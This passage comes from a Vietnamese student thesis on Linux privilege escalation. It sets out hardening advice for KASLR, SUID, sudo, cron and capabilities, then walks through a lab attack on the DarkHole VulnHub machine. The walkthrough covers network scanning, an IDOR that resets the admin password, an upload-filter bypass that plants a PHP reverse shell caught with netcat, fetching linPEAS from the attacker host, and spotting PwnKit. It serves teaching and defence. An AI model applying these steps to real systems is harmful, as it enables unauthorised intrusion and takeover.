Ngẫu nhiên hóa sơ đồ không gian địa chỉ kernel (KASLR) là một cơ chế bảo mật giúp tăng cường khả năng bảo vệ hệ thống bằng cách làm cho việc dự đoán vị trí của các phần quan trọng trong kernel trở nên khó khăn hơn cho kẻ tấn công Mỗi khi hệ thống khởi động, kernel sẽ được nạp vào một vị trí ngẫu nhiên trong bộ nhớ, điều này giúp giảm thiểu nguy cơ tấn công và bảo vệ dữ liệu nhạy cảm.
Bảo vệ thực thi chế độ giám sát (SMEP) là một tính năng bảo mật quan trọng giúp ngăn chặn việc thực thi mã độc trong kernel SMEP đảm bảo rằng chỉ có mã đã được xác định trong kernel mới được phép thực thi, từ đó bảo vệ hệ thống khỏi các cuộc tấn công mã độc nhằm vào kernel.
+ Chế độ giám sát ngăn chặn truy cập (SMAP)
SMAP là một tính năng bảo mật quan trọng, ngăn chặn kẻ tấn công truy cập vào các địa chỉ bộ nhớ trong chế độ giám sát mà không cần kiểm tra và kiểm soát Tính năng này giúp bảo vệ bộ nhớ kernel khỏi các cuộc tấn công truy cập trái phép, nâng cao tính an toàn cho hệ thống.
- Đối với các ứng dụng, phần mềm cài đặt trên hệ thống:
Để đảm bảo an toàn cho hệ thống, cần thường xuyên cập nhật các bản nâng cấp và bản vá mới nhất từ nhà phát hành Ngoài ra, hãy cài đặt phần mềm từ các nguồn đáng tin cậy và bổ sung các biện pháp bảo mật như SELinux, AppArmor, IDS và IPS.
2.2.2 Các dịch vụ trên hệ thống
- Luôn theo dõi cập nhật phiên bản mới nhất của các dịch vụ.
- Không chạy các dịch vụ với quyền root nếu không cần thiết, nên hạn chế nhất có thể.
- Giới hạn quyền truy cập dịch vụ chia sẻ tệp như NFS.
- Chỉ nên sử dụng tùy chọn no_root_squash trong dịch vụ NFS khi thật sự cần thiết.
2.2.3 Các tệp gán SUID Binaries
- Thường xuyên kiểm tra các tệp được gán quyền SUID
Kiểm tra xem tệp nào có quyền SUID không cần thiết và xem xét xóa chúng hoặc hạn chế quyền SUID của chúng.
Cần thực hiện cập nhật và kiểm tra định kỳ các tệp thực thi, đặc biệt là những tệp có quyền SUID Việc này giúp đảm bảo tính bảo mật của hệ thống, yêu cầu kiểm tra mã nguồn để phát hiện lỗ hổng Các bản vá bảo mật và cập nhật cần được áp dụng một cách nhanh chóng để bảo vệ hệ thống khỏi các mối đe dọa.
- Giới hạn quyền SUID của các tệp thực thi quan trọng.
Nếu không thể loại bỏ quyền SUID từ các tệp thực thi quan trọng, hãy giới hạn quyền SUID chỉ cho phép một số người dùng cụ thể sử dụng Đồng thời, nên giữ các tệp này trong những môi trường ổn định để đảm bảo an toàn.
- Giới hạn quyền hạn sử dụng sudo
Tệp cấu hình sudoers cho phép quản lý quyền hạn của người dùng và nhóm người dùng cụ thể Bằng cách sử dụng các tùy chọn chi tiết, người quản trị có thể chỉ định quyền thực hiện các lệnh sudo nhất định cho từng người dùng.
Giám sát và hạn chế quyền truy cập đối với tệp /etc/sudoers là rất quan trọng Cần định kỳ kiểm tra và giám sát tệp sudoers để đảm bảo rằng nó không bị thay đổi bởi các bên không đáng tin cậy Sử dụng công cụ như diff để so sánh các phiên bản trước và sau của tệp sudoers nhằm phát hiện những thay đổi không mong muốn.
Cài đặt và cấu hình auditd giúp giám sát hoạt động của sudo, cho phép kiểm tra và xem xét các sự kiện sudo trên hệ thống, từ đó phát hiện các hoạt động bất thường.
- Hạn chế biến môi trường trong sudoers
Trong tệp cấu hình /etc/sudoers, có thể sử dụng tùy chọn env_reset Sử dụng Defaults env_reset để kích hoạt tùy chọn này.
- Cấu hình timeout cho sudo
Trong tệp cấu hình sudoers, người quản trị có thể thiết lập thời gian time-out cho các phiên sử dụng sudo, yêu cầu người dùng nhập lại mật khẩu sau một khoảng thời gian nhất định Ví dụ, nếu thời gian time-out được đặt là 15 phút, người dùng sẽ phải xác thực lại bằng cách nhập mật khẩu sudo nếu muốn tiếp tục truy cập quyền quản trị sau thời gian này.
2.2.5 Tác vụ được lập lịch
- Giới hạn quyền truy cập crontab
Hạn chế quyền truy cập vào crontab chỉ cho những người dùng cần thiết, vì mặc định chỉ có người dùng có quyền hạn đặc biệt, thường là root, mới có thể chỉnh sửa crontab Điều này giúp đảm bảo rằng không có người dùng không cần thiết nào có quyền truy cập vào crontab, từ đó tăng cường bảo mật hệ thống.
- Hạn chế quyền thực thi của các tệp trong cron jobs
Khi thiết lập các công việc định kỳ trong crontab, cần hạn chế quyền thực thi của các tệp và lệnh Sử dụng các tệp thực thi với quyền hạn thấp và đảm bảo rằng người dùng bình thường không thể thực thi các tệp này.
Kiểm tra các biến môi trường là bước quan trọng để đảm bảo rằng các biến cần thiết đã được xác định rõ trong crontab, nhằm ngăn chặn việc thực thi mã độc Nên tránh sử dụng các biến môi trường không được kiểm soát và hạn chế số lượng biến môi trường trong các cron jobs để tăng cường bảo mật.
Để đảm bảo an toàn cho các công việc lên lịch trong crontab, cần thực hiện kiểm tra và giám sát định kỳ Việc này giúp phát hiện các thay đổi không mong muốn từ các bên thứ ba không đáng tin cậy Sử dụng các công cụ giám sát hệ thống như cron log để theo dõi và xem xét các thay đổi bất thường trong crontab Ngoài ra, cần xóa bỏ những tác vụ lên lịch không còn phù hợp nữa để duy trì hiệu quả hoạt động.
Cơ chế của các capability trên Linux cũng hoạt độn tương tự như SUID, vậy nên một số cách để phòng thủ cho nó cũng tương tự:
- Kiểm tra định kỳ với các chương trình được gán capability.
- Xóa cài đặt capability đối với những chương trình không còn cần thiết nữa.
- Luôn hạn chế đối với việc sử dụng capability.
Kết luận chương 2
Chương 2 sẽ phát triển từ các nguy cơ leo thang đặc quyền trên Linux đã đề cập ở chương 1, trình bày các vector và kỹ thuật tấn công phổ biến mà kẻ tấn công thường áp dụng Bên cạnh đó, chương cũng giới thiệu một số công cụ hữu ích hỗ trợ quá trình leo thang đặc quyền trên hệ điều hành Linux.
Để bảo vệ hệ thống hiệu quả, người quản trị, cá nhân và doanh nghiệp cần áp dụng các biện pháp phòng thủ phù hợp Dù thực hiện các biện pháp này, việc hiểu rõ và có kiến thức về hệ thống vẫn là yếu tố quan trọng hàng đầu Do đó, mỗi cá nhân và tổ chức cần nắm vững cách triển khai hệ thống cũng như cài đặt các ứng dụng dịch vụ an toàn.
Để nâng cao nhận thức của người dùng cuối về hệ thống Linux, cần thực hiện các khóa huấn luyện và truyền đạt kiến thức về các rủi ro liên quan Việc này sẽ giúp cải thiện tầm hiểu biết của từng cá nhân, từ đó tăng cường khả năng bảo mật và sử dụng hiệu quả hệ thống.
Tiếp đến chương 3 sẽ trình bày các kỹ thuật khai thác leo thác rất phổ biến trên hệ thống Linux mà kẻ tấn công thường sử dụng.
TRIỂN KHAI THỰC NGHIỆM CÁC KỸ THUẬT LEO
Môi trường thực nghiệm
Môi trường để thực nghiệm mô phỏng các kỹ thuật được thực hiện trên môi trường máy ảo gồm:
- Máy tấn công: Kali Linux 2022 Có thể tải máy ảo có sẵn tại: https://www.kali.org/get-kali/#kali-installer-images
Máy mục tiêu DarkHole là một môi trường Ubuntu Linux được cấu hình với các lỗ hổng nhằm hỗ trợ việc thực hiện các kỹ thuật khai thác Người dùng có thể tự cài đặt hoặc tải xuống máy đã được thiết lập sẵn để thực hành khai thác trên các trang tài nguyên Để tải máy này, bạn có thể truy cập vào liên kết: [DarkHole](https://www.vulnhub.com/entry/darkhole-1,724/).
Để tối ưu hóa quá trình khai thác, cần cấu hình các điểm yếu một cách hợp lý Bên cạnh đó, việc cài đặt đầy đủ các công cụ hỗ trợ khai thác và leo thang đặc quyền là rất cần thiết, như đã được đề cập trước đó.
Hình 3.1 Mô hình thực hiện tấn công thực nghiệm
Kịch bản thực nghiệm
Hệ điều hành Linux được sử dụng phổ biến trong doanh nghiệp và cá nhân, thường hoạt động như một server và ứng dụng cho các thiết bị nhúng Ngoài ra, Linux còn được cài đặt trên máy tính để bàn qua các phiên bản như Ubuntu, và nó cũng là nền tảng cho hệ điều hành di động Android.
Đề tài này sẽ tập trung vào một số kỹ thuật phổ biến và cơ bản, vì những hành vi tưởng chừng như đơn giản này thường dễ bị bỏ qua, dẫn đến các cuộc tấn công không mong muốn Kẻ tấn công thường lợi dụng sơ hở của người dùng và điểm yếu của hệ thống để chiếm quyền root cao nhất, từ đó thực hiện nhiều hành vi xấu khác.
Các kịch bản được triển khai nhằm mục đích mô phỏng các kỹ thuật tấn công, với việc leo thang quyền truy cập của người dùng khác Tuy nhiên, mục tiêu cuối cùng vẫn là đạt được quyền root của hệ thống Linux.
Các kịch bản tấn công được thực hiện như sau:
- Do thám và tìm ra các lỗ hổng có thể bypass để đăng nhập với một người dùng cấp thấp trên máy mục tiêu.
Để tối ưu hóa quá trình tấn công nâng cao đặc quyền, việc thu thập thông tin chi tiết về hệ thống mục tiêu là rất quan trọng Nghiên cứu các phương pháp khai thác leo thang và áp dụng các kỹ thuật phù hợp sẽ giúp nâng cao hiệu quả của cuộc tấn công.
- Khai thác leo thang mục tiêu chiếm được quyền cao nhất của máy nạn nhân từ những kỹ thuật phương thức đã nghiên cứu trước đó.
Triển khai thực nghiệm
3.3.1 Giành quyền truy cập trên máy mục tiêu Đầu tiên tiến hành dò quét địa chỉ ip nằm trong cùng dải mạng để tìm kiếm các mục tiêu tiềm năng Ở đây có thể sử dụng các câu lệnh sau: netdiscover -r 192.168.156.0/24 arp-scan 192.168.156.0/24
Tìm thấy một địa chỉ IP có tiềm năng khai thác, chính là máy mục tiêu chúng ta đã cài đặt, có địa chỉ IP là 192.168.156.129.
Hình 3.2 Dò quét địa chỉ IP của máy mục tiêu
Khi đã xác định được địa chỉ IP, việc quét các cổng dịch vụ mở trên máy nạn nhân trở nên cần thiết, và công cụ nmap là một lựa chọn phổ biến Để nâng cao hiệu quả quét tùy theo mục đích, người dùng có thể áp dụng thêm các tùy chọn Để biết thêm chi tiết, hãy tham khảo nmap –h Ví dụ, lệnh nmap -sV 192.168.156.129 có thể được sử dụng để quét dịch vụ.
Hình 3.3 Dò quét các cổng đang mở trên máy mục tiêu
Có hai cổng đang mở trên máy nạn nhân đó là cổng HTTP 80 và cổng SSH
20, thử truy cập trang web thông qua cổng HTTP, thấy một trang giao diện như hình.
Hình 3.4 Truy cập trang web thông qua cổng HTTP
Tại trang login thử đăng kí một tài khoản khác là test/1234 Sau đó đăng nhập với tài khoản vừa tạo
Trang tài khoản người dùng thường này có hai trường là update họ tên email và trường update password Tiếp theo thử đổi password người dùng hiện tại.
Hình 3.5 Giao diện trang người dùng Đổi password của người dùng test thành công, và hiện tại của người dùng này có id=3
Hình 3.6 Thay đổi password cho người dùng test thành công
Khi xem mã nguồn của trang web, ta nhận thấy rằng trường id là một trường ẩn và luôn bắt đầu từ 2 khi tạo tài khoản mới Điều này gợi ý rằng id=1 có thể là id của tài khoản quản trị viên Qua việc thử đổi mật khẩu cho người dùng với id=1 tại Burp Suite Repeater, quá trình này đã thành công.
Để kiểm chứng suy đoán, người dùng có thể đăng nhập vào trang web bằng tài khoản admin với mật khẩu 123 Sau khi đăng nhập thành công vào trang chủ admin, người dùng sẽ thấy tính năng cho phép tải lên file.
Chức năng trên trang chủ tài khoản admin có tiềm năng khai thác lớn; nếu phát hiện lỗ hổng upload file, kẻ tấn công có thể tải lên webshell và chiếm quyền truy cập vào máy của nạn nhân.
Thử nghiệm tải lên một tệp bất kỳ, trong đó chọn tệp hình ảnh jpg Sau khi tải lên, sử dụng Burp Suite để theo dõi quá trình, và việc tải lên thành công do đây là một tệp hình ảnh đơn giản.
Hình 3.9 Upload file image thành công
Gửi request upload file đến Burp Repeater
Bắt đầu kiểm tra lỗ hổng upload file bằng cách thử nghiệm với các trường hợp có thể xảy ra Khi sửa đổi phần mở rộng tệp thành php và gửi yêu cầu, hệ thống phản hồi rằng chỉ cho phép upload các định dạng hình ảnh như jpg, png, và gif.
Hình 3.11 Sửa đổi phần mở rộng tệp tải lên
Nhiều máy chủ web không kiểm tra kỹ lưỡng các phần mở rộng của tệp tải lên, cho phép người dùng thay đổi phần mở rộng một cách linh hoạt Sau nhiều lần thử nghiệm, đã phát hiện rằng việc tải lên tệp có phần mở rộng phtml sẽ thành công.
Để tạo một webshell đơn giản, bạn có thể lấy file từ đường dẫn /usr/share/webshells/php/php-reverse-shell.php Hai yếu tố quan trọng cần chú ý là địa chỉ IP và cổng lắng nghe của máy tấn công.
Tạo một reverse shell có tên shell.phtml, sau đó có thể sao chép nó đến màn hình Desktop cho dễ sử dụng.
Quay lại trang web và tải lên tệp shell.phtml vừa tạo, sau đó kiểm tra xem việc tải lên có thành công hay không Tiếp theo, sử dụng công cụ gobuster để quét và phát hiện các đường dẫn thư mục và tệp ẩn trên trang web mục tiêu.
Hình 3.13 Quét thư mục ẩn trên máy mục tiêu
Quét được một đường dẫn tới thư mục upload, đây có thể là thư mục lưu trữ các file đã tải lên, truy cập vào đường dẫn.
Hình 3.14 Truy cập đường dẫn lưu trữ file tải lên
Sử dụng netcat để lắng nghe trên máy tấn công Kali với cổng 1234 và khởi chạy shell.phtml, từ đó nhận quyền truy cập vào máy mục tiêu với tư cách người dùng www-data.
Hình 3.15 Giành được quyền truy cập trên máy mục tiêu
3.3.2 Thu thập tự động thông tin hệ thống mục tiêu Để có lợi hơn trong quá trình thu thập thông tin trên hệ thống mục tiêu, sẽ sử dụng công cụ linPEAS để liệt kê tự động Đầu tiên khởi động một máy chủ web đơn giản trên máy tấn công để kết nối với máy mục tiêu
Hình 3.16 Tạo máy chủ web đơn giản
Trên máy mục tiêu, người dùng đã truy cập vào thư mục /tmp, tải xuống tệp khởi chạy công cụ linPEAS (linpeas.sh) từ máy tấn công Sau đó, cấp quyền và chạy tệp này để liệt kê thông tin về mục tiêu.
Hình 3.17 Tải và khởi chạy linpeas.sh
Quá trình chạy công cụ đã thu thập nhiều thông tin hữu ích cho việc tấn công leo thang, với các vector có khả năng leo thang đặc quyền lên tới 95% được đánh dấu bằng chữ đỏ trên nền vàng Trong số đó, thông tin hệ thống quan trọng nhất là lỗ hổng CVE-2021-4034, hay còn gọi là Pwnkit.
Hình 3.18 CVE có thể khai thác
Trong các tác vụ lập lịch, hai tác vụ tiềm năng được phát hiện là dịch vụ apache2 và mysql Tệp test.sh sẽ được khởi chạy định kỳ mỗi phút, mỗi giờ hoặc mỗi ngày.
Hình 3.19 Cron job có thể khai thác
Về SUID Binaries được tìm thấy:
Hình 3.20 Các SUID binary có thể khai thác
Hình 3.21 Capabilities có thể khai thác
Các tệp sh có khả năng khai thác:
Hình 3.22 Tệp sh có thể khai thác
Quyền truy cập các tệp nhạy cảm:
Hình 3.23 Quyền truy cập tệp nhạy cảm có thể khai thác
3.3.3 Nghiên cứu cách thức khai thác
Đánh giá và đưa ra biện pháp phòng thủ sau khi thực nghiệm
Quá trình thực nghiệm trong đồ án cho thấy việc leo thang đặc quyền trái phép là một vấn đề nghiêm trọng và đa dạng trong hệ thống Linux Những sai sót đơn giản hoặc sự bất cẩn của quản trị viên hệ thống có thể tạo ra những lỗ hổng nghiêm trọng, tạo điều kiện cho kẻ tấn công khai thác.
Kẻ tấn công có nhiều phương thức để nâng cao quyền truy cập thành đặc quyền người dùng root sau khi tấn công thành công mục tiêu Điều này cho phép chúng thực hiện các hành vi như đánh cắp thông tin hoặc cài đặt mã độc để phát tán rộng rãi.
Các tổ chức doanh nghiệp cần nâng cao nhận thức về tính nghiêm trọng của các vấn đề an ninh mạng, thực hiện các biện pháp phòng thủ nghiêm ngặt và đào tạo nhân viên về nhận thức an toàn Mỗi cá nhân trong tổ chức, không chỉ người dùng hệ thống, đều có thể trở thành mục tiêu của các cuộc tấn công kỹ nghệ xã hội Đồ án cũng đề xuất một số biện pháp cụ thể nhằm giảm thiểu rủi ro và tăng cường phòng thủ trước các cuộc tấn công leo thang đặc quyền.
- Cập nhật phiên bản sudo mới nhất, tránh để hệ thống chứa những phiên bản đã lỗi thời đã được khai thác trước đó.
- Phân quyền đúng với tệp nhạy cảm như /etc/passwd, chỉ nên để quyền root mới có thể được ghi vào tệp.
- Hạn chế tạo các tệp nhị phân thực thi tương tự nhưng các lệnh id, date.v v
- Tạo các cron job với đường dẫn cụ thể, tuyệt đối thay vì chỉ định mỗi tệp thực hiện cron job.
- Không ghi vào biến PATH trong cron job các thư mục mà nhiều người dùng bình thường có quyền tương tác như /home/user
- Cơ chế capability cũng tương tự như SUID vậy nên nếu không thật sự cần đến thì không nên thiết lập.
Kết luận chương 3
Chương 3 đã hoàn thành được mục tiêu ban đầu đồ án đặt ra, thực hiện mô phỏng lại các kỹ thuật khai thác leo thang với các bước nghiên cứu đã thực hiện ở những chương cơ sở lí thuyết trên.
Mô phỏng tấn công vào một hệ thống cụ thể giúp hiểu rõ cách thức xâm nhập và tối ưu hóa quá trình leo thang đặc quyền Nghiên cứu này sẽ tập trung vào việc khai thác thực nghiệm với các kỹ thuật hiệu quả, nhằm nâng cao khả năng bảo mật và phát hiện các lỗ hổng tiềm ẩn trong hệ thống.